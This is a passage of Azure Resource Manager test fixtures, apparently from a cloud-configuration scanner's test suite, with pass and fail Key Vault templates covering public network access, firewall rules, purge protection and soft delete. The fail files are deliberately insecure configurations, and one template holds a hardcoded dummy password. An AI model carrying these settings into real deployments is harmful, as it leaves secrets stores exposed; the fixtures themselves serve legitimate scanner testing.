"allowedValues": [ "EC", "EC-HSM", "RSA", "RSA-HSM" ], "metadata": { "description": "The type of key to create" } }, "tags": { "type": "object", "defaultValue": {}, "metadata": { "description": "Tags to be assigned to the Key." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults/keys", "apiVersion": "2021-10-01", "name": "pass", "tags": "[parameters('tags')]", "properties": { "attributes": { "exp": "[parameters('exp')]" }, "crv": "[parameters('crv')]", "kty": "[parameters('kty')]", "key_ops": "[parameters('key_ops')]", "key_size": "[parameters('key_size')]", "rotationPolicy": { "attributes": { "expiryTime": "somevalue" } }, "password": "asdasasd", "acceptMarketingEmails": false, "email": "jim.wolf@duck.com" }, "plan": { "name": "jim", "publisher": "redwolf", "product": "pike" } } ], "outputs": { "key": { "type": "object", "value": "[reference(resourceId('Microsoft.KeyVault/vaults/keys', parameters('vaultName'), parameters('keyName')), '2021-10-01', 'Full')]" } } } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail1", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "publicNetworkAccess": "Enabled", "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail3", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls": { "defaultAction" : "Allow", "bypass" : "AzureServices", "ipRules" : [] }, "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail4", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls": { "defaultAction" : "Allow", "bypass" : "AzureServices" }, "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/fail5.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail5", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices", "ipRules": [], "virtualNetworkRules": [ { "id": "[if(parameters('naclsEnabled'),concat(subscription().id, '/resourceGroups/', parameters('resourceGroupName'), '/providers/Microsoft.Network/virtualNetworks//subnets/'),json('null'))]" } ] } } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "pass1", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "publicNetworkAccess": "Disabled", "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "pass2", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls" : { "defaultAction" : "Allow", "bypass" : "AzureServices" }, "publicNetworkAccess": "disabled", "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass3.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "pass3", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices", "ipRules": ["127.0.0.1"] }, "publicNetworkAccess": "Enabled", "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultDisablesPublicNetworkAccess/pass4.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "pass4", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[subscription().tenantId]", "softDeleteRetentionInDays": 90, "purgeProtectionEnabled": true, "sku": { "family": "A", "name": "standard" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices", "ipRules": ["127.0.0.1"] }, "accessPolicies": [ { "tenantId": "[subscription().tenantId]", "objectId": "[parameters('objectId')]", "permissions": { "keys": ["get"], "secrets": ["get"], "storage": ["get"] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesFirewallRulesSettings/KeyVaultEnablesFirewallRulesSettings-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "fail", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" }, "enableSoftDelete": "true", "softDeleteRetentionInDays": "30", "enablePurgeProtection": "true" } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesFirewallRulesSettings/KeyVaultEnablesFirewallRulesSettings-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "pass", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Deny", "bypass": "AzureServices" }, "enableSoftDelete": "true", "softDeleteRetentionInDays": "30", "enablePurgeProtection": "true" } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail1", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": false, "tenantId": "[data.azure_client_config.current.tenantId]", "softDeleteRetentionDays": 7, "enablePurgeProtection": false, "sku": { "family": "A", "name": "standard" }, "accessPolicies": [ { "tenantId": "[data.azure_client_config.current.tenantId]", "objectId": "[data.azure_client_config.current.objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ], "certificates": [], "storage": [] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": true, "tenantId": "[data.azure_client_config.current.tenantId]", "softDeleteRetentionDays": 7, "enablePurgeProtection": false, "sku": { "family": "A", "name": "standard" }, "accessPolicies": [ { "tenantId": "[data.azure_client_config.current.tenantId]", "objectId": "[data.azure_client_config.current.objectId]", "permissions": { "keys": [ "get" ], "secrets": [ "get" ], "certificates": [], "storage": [] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesPurgeProtection/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.KeyVault/vaults", "apiVersion": "2019-09-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "enabledForDiskEncryption": false, "tenantId": "[data.azure_client_config.current.tenantId]", "softDeleteRetentionDays": 7, "enablePurgeProtection": true, "sku": { "family": "A", "name": "standard" }, "accessPolicies": [ { "tenantId": "[data.azure_client_config.current.tenantId]", "objectId": "[data.azure_client_config.current.objectId]", "permissions": { "keys": ["get"], "secrets": ["get"], "certificates": [], "storage": [] } } ] } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enableSoftDelete": { "type": "bool", "defaultValue": false }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "fail", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enableSoftDelete": false, "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enableSoftDelete": { "type": "bool", "defaultValue": true }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "pass", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enableSoftDelete": "[parameters('enableSoftDelete')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyVaultEnablesSoftDelete/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "pass2", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "keyVaultName": { "type": "string", "metadata": { "description": "Specifies the name of the key vault." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Specifies the Azure location where the key vault should be created." } }, "enabledForDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Virtual Machines are permitted to retrieve certificates stored as secrets from the key vault." } }, "enabledForDiskEncryption": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Disk Encryption is permitted to retrieve secrets from the vault and unwrap keys." } }, "enabledForTemplateDeployment": { "type": "bool", "defaultValue": false, "allowedValues": [ true, false ], "metadata": { "description": "Specifies whether Azure Resource Manager is permitted to retrieve secrets from the key vault." } }, "tenantId": { "type": "string", "defaultValue": "[subscription().tenantId]", "metadata": { "description": "Specifies the Azure Active Directory tenant ID that should be used for authenticating requests to the key vault. Get it by using Get-AzSubscription cmdlet." } }, "objectId": { "type": "string", "metadata": { "description": "Specifies the object ID of a user, service principal or security group in the Azure Active Directory tenant for the vault. The object ID must be unique for the list of access policies. Get it by using Get-AzADUser or Get-AzADServicePrincipal cmdlets." } }, "keysPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to keys in the vault. Valid values are: all, encrypt, decrypt, wrapKey, unwrapKey, sign, verify, get, list, create, update, import, delete, backup, restore, recover, and purge." } }, "secretsPermissions": { "type": "array", "defaultValue": [ "list" ], "metadata": { "description": "Specifies the permissions to secrets in the vault. Valid values are: all, get, list, set, delete, backup, restore, recover, and purge." } }, "skuName": { "type": "string", "defaultValue": "Standard", "allowedValues": [ "Standard", "Premium" ], "metadata": { "description": "Specifies whether the key vault is a standard vault or a premium vault." } }, "secretName": { "type": "string", "metadata": { "description": "Specifies the name of the secret that you want to create." } }, "secretValue": { "type": "securestring", "metadata": { "description": "Specifies the value of the secret that you want to create." } } }, "resources": [ { "type": "Microsoft.KeyVault/vaults", "name": "[parameters('keyVaultName')]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "properties": { "enabledForDeployment": "[parameters('enabledForDeployment')]", "enabledForDiskEncryption": "[parameters('enabledForDiskEncryption')]", "enabledForTemplateDeployment": "[parameters('enabledForTemplateDeployment')]", "tenantId": "[parameters('tenantId')]", "accessPolicies": [ { "objectId": "[parameters('objectId')]", "tenantId": "[parameters('tenantId')]", "permissions": { "keys": "[parameters('keysPermissions')]", "secrets": "[parameters('secretsPermissions')]" } } ], "sku": { "name": "[parameters('skuName')]", "family": "A" }, "networkAcls": { "defaultAction": "Allow", "bypass": "AzureServices" } } }, { "type": "Microsoft.KeyVault/vaults/secrets", "name": "[concat(parameters('keyVaultName'), '/', parameters('secretName'))]", "apiVersion": "2018-02-14", "location": "[parameters('location')]", "dependsOn": [ "[resourceId('Microsoft.KeyVault/vaults', parameters('keyVaultName'))]" ], "properties": { "value": "[parameters('secretValue')]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_KeyvaultRecoveryEnabled/keyvaultRecoveryEnabled-FAILED2.json ================================================ { "$schema": 